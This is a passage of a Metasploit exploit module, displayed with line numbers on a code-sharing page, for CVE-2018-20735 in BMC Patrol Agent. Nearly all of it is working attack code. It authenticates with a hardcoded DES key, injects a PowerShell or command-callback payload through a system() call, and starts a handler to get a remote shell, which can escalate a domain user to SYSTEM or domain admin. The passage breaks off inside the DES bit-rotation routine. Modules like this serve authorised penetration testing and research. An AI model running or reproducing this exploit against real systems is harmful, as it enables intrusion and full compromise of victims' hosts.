Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'zlib'
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Powershell
11
12
@deflater = nil
13
@inflater = nil
14
15
SBOXES = [
16
0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
17
0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
18
0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
19
0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
20
0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
21
0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
22
0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
23
0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
24
0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
25
0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
26
0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
27
0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
28
0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
29
0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
30
0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
31
0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
32
0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
33
0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
34
0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
35
0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
36
0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
37
0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
38
0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
39
0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
40
0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
41
0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
42
0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
43
0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
44
0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
45
0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
46
0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
47
0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
48
0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
49
0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
50
0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
51
0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
52
0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
53
0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
54
0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
55
0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
56
0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
57
0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
58
0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
59
0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
60
0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
61
0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
62
0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
63
0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
64
0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
65
0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
66
0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
67
0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
68
0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
69
0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
70
0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
71
0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
72
0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
73
0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
74
0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
75
0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
76
0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
77
0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
78
0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
79
0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
80
0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
81
0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
82
0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
83
0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
84
0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
85
0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
86
0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
87
0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
88
0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
89
0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
90
0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
91
0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
92
0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
93
0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
94
0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
95
0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
96
0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
97
0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
98
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
99
0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
100
0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
101
0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
102
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
103
0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
104
0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
105
0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
106
0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
107
0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
108
0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
109
0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
110
0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
111
0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
112
0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
113
0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
114
0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
115
0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
116
0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
117
].freeze
118
119
PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\
120
"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\
121
"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\
122
"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze
123
124
PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\
125
"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\
126
"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\
127
"\x23\x1C\x1F".freeze
128
129
SBOX_BYTE_ORDER = [
130
1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
131
0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
132
0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
133
0x40000000, 0x80000000
134
].freeze
135
136
ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze
137
INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze
138
INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze
139
140
DES_ENCRYPT = 0
141
142
def initialize(info = {})
143
super(
144
update_info(
145
info,
146
'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
147
'Description' => %q{
148
This module leverages the remote command execution feature provided by
149
the BMC Patrol Agent software. It can also be used to escalate privileges
150
on Windows hosts as the software runs as SYSTEM but only verfies that the password
151
of the provided user is correct. This also means if the software is running on a
152
domain controller, it can be used to escalate from a normal domain user to domain
153
admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
154
powershell to execute the payload. The powershell version tends to timeout on
155
the first run so it may take multiple tries.
156
},
157
'License' => MSF_LICENSE,
158
'Author' => [
159
'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
160
],
161
'References' => [
162
['CVE', '2018-20735'],
163
['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
164
],
165
'Platform' => ['win', 'linux'],
166
'Targets' => [
167
[
168
'Windows Powershell Injected Shellcode', {
169
'Platform' => 'win'
170
}
171
],
172
[
173
'Generic Command Callback', {
174
'Arch' => ARCH_CMD,
175
'Platform' => %w[linux unix win]
176
}
177
]
178
],
179
'Privileged' => true,
180
'DefaultTarget' => 0,
181
'DefaultOptions' => {
182
'DisablePayloadHandler' => true
183
},
184
'DisclosureDate' => '2019-01-17',
185
'Notes' => {
186
'Reliability' => UNKNOWN_RELIABILITY,
187
'Stability' => UNKNOWN_STABILITY,
188
'SideEffects' => UNKNOWN_SIDE_EFFECTS
189
}
190
)
191
)
192
193
register_options(
194
[
195
Opt::RPORT(3181),
196
OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),
197
OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),
198
OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
199
]
200
)
201
end
202
203
def cleanup
204
disconnect
205
print_status("Disconnected from BMC Patrol Agent.")
206
@inflater.close
207
@deflater.close
208
super
209
end
210
211
def get_target_os(srv_info_msg)
212
lines = srv_info_msg.split("\n")
213
fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"
214
215
os = nil
216
ver = nil
217
lines[2..-2].each do |i|
218
val = i.split("=")
219
if val.length == 2
220
if val[0].strip! == "T"
221
os = val[1]
222
elsif val[0].strip! == "VER"
223
ver = val[1]
224
end
225
end
226
end
227
[os, ver]
228
end
229
230
def get_cmd_output(cmd_output_msg)
231
lines = cmd_output_msg.split("\n")
232
fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"
233
234
# Parse out command results
235
idx_start = cmd_output_msg.index("Result\x00")
236
idx_end = cmd_output_msg.index("RemPsl_user")
237
output = cmd_output_msg[idx_start + 7..idx_end - 1]
238
239
output
240
end
241
242
def exploit
243
# Manually start the handler if not running a single command
244
if datastore['CMD'].nil? || datastore['CMD'].empty?
245
246
# Set to nil if the cmd is empty for checks further down
247
datastore['CMD'] = nil
248
datastore['DisablePayloadHandler'] = false
249
250
# Configure the payload handler
251
payload_instance.exploit_config = {
252
'active_timeout' => 300
253
}
254
# Setup the payload handler
255
payload_instance.setup_handler
256
257
# Start the payload handler
258
payload_instance.start_handler
259
260
end
261
262
# Initialize zlib objects
263
@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
264
@inflater = Zlib::Inflate.new
265
266
# Connect to the BMC Patrol Agent
267
connect
268
print_status("Connected to BMC Patrol Agent.")
269
270
# Create session msg
271
create_session
272
ret_data = receive_msg
273
fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?
274
275
# Authenticate
276
authenticate_user(datastore['USER'], datastore['PASSWORD'])
277
278
# Receive the authentication response
279
ret_data = receive_msg
280
fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?
281
282
ret_msg = process_response(ret_data)
283
if ret_msg =~ /logged in/
284
print_status("Successfully authenticated user.")
285
else
286
fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
287
end
288
289
# Receive the server info
290
ret_data = receive_msg
291
fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
292
srv_info = process_response(ret_data)
293
294
# Get the target's OS from their info msg
295
target_os = get_target_os(srv_info)
296
297
# When using autotargeting, MSF selects the Windows meterpreter as the default payload.
298
# Fail if this is the case and ask the user to select an appropriate payload.
299
if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
300
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
301
end
302
303
target_name = target.name
304
if !datastore['CMD'].nil?
305
command = datastore['CMD'].tr('"', '\"')
306
print_status("Command to execute: #{command}")
307
elsif target_name == 'Windows Powershell Injected Shellcode'
308
# Get encoded powershell of payload
309
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
310
else
311
command = payload.raw.tr('"', '\"')
312
end
313
314
# Run command
315
run_cmd(command)
316
317
# Receive command confirmation
318
ret_data = receive_msg
319
if !ret_data.nil?
320
process_response(ret_data)
321
end
322
323
# Receive command output
324
ret_data = receive_msg
325
if !ret_data.nil? && !datastore['CMD'].nil?
326
cmd_result_data = process_response(ret_data)
327
cmd_result = get_cmd_output(cmd_result_data)
328
print_status("Output:\n#{cmd_result}")
329
end
330
331
# Handle the shell
332
handler
333
end
334
335
def receive_msg
336
header = sock.get_once(6)
337
if header.nil?
338
return
339
end
340
341
payload_size_arr = header[0, 4]
342
payload_size = payload_size_arr.unpack1("N")
343
payload = ''
344
if payload_size > 0
345
payload = sock.get_once(payload_size)
346
if payload.nil?
347
return
348
end
349
end
350
351
return header + payload
352
end
353
354
def send_msg(type, compression, data)
355
data_len = data.length
356
buf = [data_len].pack('N')
357
358
# Set the type
359
buf += [type].pack('C')
360
361
# Set compression flag
362
buf += [compression].pack('C')
363
364
# Add data
365
buf += data
366
367
# Send msg
368
sock.put(buf)
369
end
370
371
def process_response(ret_data)
372
# While style checks complain, I intend to leave this parsing
373
# in place for debugging purposes
374
ret_size_arr = ret_data[0, 4]
375
ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment
376
377
msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
378
comp_flag = ret_data[5, 1]
379
380
payload_data = ret_data[6..-1]
381
if comp_flag == "\x00"
382
bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment
383
payload_data = @inflater.inflate(payload_data)
384
end
385
386
return payload_data
387
end
388
389
def run_cmd(cmd)
390
user_num = rand 1000..9999
391
msg_1 = %(R_E
392
{
393
\tRE_ID=1
394
\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}
395
\tRE_ORG=PemApi
396
\tRE_SEV=1
397
\tRE_NSEV=5
398
\tRE_ST=
399
}
400
)
401
402
msg_1 += "\x00"
403
# Compress the message
404
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
405
send_msg(0x44, 0x0, comp_data)
406
end
407
408
def identify(user)
409
inner_len = 15
410
msg_type = 8
411
len_str = [inner_len].pack("N")
412
msg_str = [msg_type].pack("N")
413
msg_1 = %(PEM_MSG
414
{
415
\tNSDL=#{inner_len}
416
\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00
417
}
418
)
419
msg_1 += "\x00"
420
print_status("Msg: #{msg_1}")
421
bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment
422
# Compress the message
423
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
424
send_msg(0x44, 0x0, comp_data)
425
end
426
427
def create_session
428
sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"
429
sess_msg += "\x00" * 0x68
430
send_msg(0x45, 0x2, sess_msg)
431
end
432
433
def authenticate_user(user, password)
434
# Default encryption key
435
enc_key = 'k$C4}@"_'
436
output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
437
# Convert to hex string
438
encrpted_pw = output_data.unpack1("H*")
439
des_pw = encrpted_pw.upcase
440
441
msg_1 = %(ID
442
{
443
\tHOST=user
444
\tUSER=#{user}
445
\tPASS=#{des_pw}
446
\tVER=V9.6.00
447
\tT=PEMAPI
448
\tHTBT=1
449
\tTMOT=1728000
450
\tRTRS=3
451
}
452
)
453
454
msg_1 += "\x00"
455
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
456
send_msg(0x44, 0x0, comp_data)
457
end
458
459
def rotate_block_init(input_block_tuple)
460
v6 = 0
461
v5 = 0
462
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
463
v3 = input_block_tuple[0]
464
v4 = input_block_tuple[1]
465
466
if (v4 & 0x2000000) != 0
467
v5 = 1
468
end
469
if (v4 & 0x20000) != 0
470
v5 |= 2
471
end
472
if (v4 & 0x200) != 0
473
v5 |= 4
474
end
475
if (v4 & 2) != 0
476
v5 |= 8
477
end
478
if (v3 & 0x2000000) != 0
479
v5 |= 0x10
480
end
481
if (v3 & 0x20000) != 0
482
v5 |= 0x20
483
end
484
if (v3 & 0x200) != 0
485
v5 |= 0x40
486
end
487
if (v3 & 2) != 0
488
v5 |= 0x80
489
end
490
if (v4 & 0x8000000) != 0
491
v5 |= 0x100
492
end
493
if (v4 & 0x80000) != 0
494
v5 |= 0x200
495
end
496
if (v4 & 0x800) != 0
497
v5 |= 0x400
498
end
499
if (v4 & 8) != 0
500
v5 |= 0x800
501
end
502
if (v3 & 0x8000000) != 0
503
v5 |= 0x1000
504
end
505
if (v3 & 0x80000) != 0
506
v5 |= 0x2000
507
end
508
if (v3 & 0x800) != 0
509
v5 |= 0x4000
510
end
511
if (v3 & 8) != 0
512
v5 |= 0x8000
513
end
514
if (v4 & 0x20000000) != 0
515
v5 |= 0x10000
516
end
517
if (v4 & 0x200000) != 0
518
v5 |= 0x20000
519
end
520
if (v4 & 0x2000) != 0
521
v5 |= 0x40000
522
end
523
if (v4 & 0x20) != 0
524
v5 |= 0x80000
525
end
526
if (v3 & 0x20000000) != 0
527
v5 |= 0x100000
528
end
529
if (v3 & 0x200000) != 0
530
v5 |= 0x200000
531
end
532
if (v3 & 0x2000) != 0
533
v5 |= 0x400000
534
end
535
if (v3 & 0x20) != 0
536
v5 |= 0x800000
537
end
538
if (v4 < 0)
539
v5 |= 0x1000000
540
end
541
if (v4 & 0x800000) != 0
542
v5 |= 0x2000000
543
end
544
if (v4 & 0x8000) != 0
545
v5 |= 0x4000000
546
end
547
if (v4 & 0x80) != 0
548
v5 |= 0x8000000
549
end
550
if (v3 < 0)
551
v5 |= 0x10000000
552
end
553
if (v3 & 0x800000) != 0
554
v5 |= 0x20000000
555
end
556
if (v3 & 0x8000) != 0
557
v5 |= 0x40000000
558
end
559
if (v3 & 0x80) != 0
560
v5 |= 0x80000000
561
end
562
if (v4 & 0x1000000) != 0
563
v6 = 1
564
end
565
if (v4 & 0x10000) != 0
566
v6 |= 2
567
end
568
if (v4 & 0x100) != 0
569
v6 |= 4
570
end
571
if (v4 & 1) != 0
572
v6 |= 8
573
end
574
if (v3 & 0x1000000) != 0
575
v6 |= 0x10
576
end
577
if (v3 & 0x10000) != 0
578
v6 |= 0x20
579
end
580
if (v3 & 0x100) != 0
581
v6 |= 0x40
582
end
583
if (v3 & 1) != 0
584
v6 |= 0x80
585
end
586
if (v4 & 0x4000000) != 0
587
v6 |= 0x100
588
end
589
if (v4 & 0x40000) != 0
590
v6 |= 0x200
591
end
592
if (v4 & 0x400) != 0
593
v6 |= 0x400
594
end
595
if (v4 & 4) != 0
596
v6 |= 0x800
597
end
598
if (v3 & 0x4000000) != 0
599
v6 |= 0x1000
600
end
601
if (v3 & 0x40000) != 0
602
v6 |= 0x2000
603
end
604
if (v3 & 0x400) != 0
605
v6 |= 0x4000
606
end
607
if (v3 & 4) != 0
608
v6 |= 0x8000
609
end
610
if (v4 & 0x10000000) != 0
611
v6 |= 0x10000
612
end
613
if (v4 & 0x100000) != 0
614
v6 |= 0x20000
615
end
616
if (v4 & 0x1000) != 0
617
v6 |= 0x40000
618
end
619
if (v4 & 0x10) != 0
620
v6 |= 0x80000
621
end
622
if (v3 & 0x10000000) != 0
623
v6 |= 0x100000
624
end
625
if (v3 & 0x100000) != 0
626
v6 |= 0x200000
627
end
628
if (v3 & 0x1000) != 0
629
v6 |= 0x400000
630
end
631
if (v3 & 0x10) != 0
632
v6 |= 0x800000
633
end
634
if (v4 & 0x40000000) != 0
635
v6 |= 0x1000000
636
end
637
if (v4 & 0x400000) != 0
638
v6 |= 0x2000000
639
end
640
if (v4 & 0x4000) != 0
641
v6 |= 0x4000000
642
end
643
if (v4 & 0x40) != 0
644
v6 |= 0x8000000
645
end
646
if (v3 & 0x40000000) != 0
647
v6 |= 0x10000000
648
end
649
if (v3 & 0x400000) != 0
650
v6 |= 0x20000000
651
end
652
if (v3 & 0x4000) != 0
653
v6 |= 0x40000000
654
end
655
if (v3 & 0x40) != 0
656
v6 |= 0x80000000
657
end
658
659
# Create return tuple
660
ret_block = Array.new
661
ret_block.push v5
662
ret_block.push v6
663
ret_block
664
end
665
666
def rotate_block_final(input_block_tuple)
667
v6 = 0
668
v5 = 0
669
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
670
v3 = input_block_tuple[0]
671
v4 = input_block_tuple[1]
672
673
if (v4 & 0x80) != 0
674
v5 = 1
675
end
676
if (v3 & 0x80) != 0
677
v5 |= 2
678
end
679
if (v4 & 0x8000) != 0
680
v5 |= 4
681
end
682
if (v3 & 0x8000) != 0
683
v5 |= 8
684
end
685
if (v4 & 0x800000) != 0
686
v5 |= 0x10
687
end
688
if (v3 & 0x800000) != 0
689
v5 |= 0x20
690
end
691
if (v4 < 0)
692
v5 |= 0x40
693
end
694
if (v3 < 0)
695
v5 |= 0x80
696
end
697
if (v4 & 0x40) != 0
698
v5 |= 0x100
699
end
700
if (v3 & 0x40) != 0
701
v5 |= 0x200
702
end
703
if (v4 & 0x4000) != 0
704
v5 |= 0x400
705
end
706
if (v3 & 0x4000) != 0
707
v5 |= 0x800
708
end
709
if (v4 & 0x400000) != 0
710
v5 |= 0x1000
711
end
712
if (v3 & 0x400000) != 0
713
v5 |= 0x2000
714
end
715
if (v4 & 0x40000000) != 0
716
v5 |= 0x4000
717
end
718
if (v3 & 0x40000000) != 0
719
v5 |= 0x8000
720
end
721
if (v4 & 0x20) != 0
722
v5 |= 0x10000
723
end
724
if (v3 & 0x20) != 0
725
v5 |= 0x20000
726
end
727
if (v4 & 0x2000) != 0
728
v5 |= 0x40000
729
end
730
if (v3 & 0x2000) != 0
731
v5 |= 0x80000
732
end
733
if (v4 & 0x200000) != 0
734
v5 |= 0x100000
735
end
736
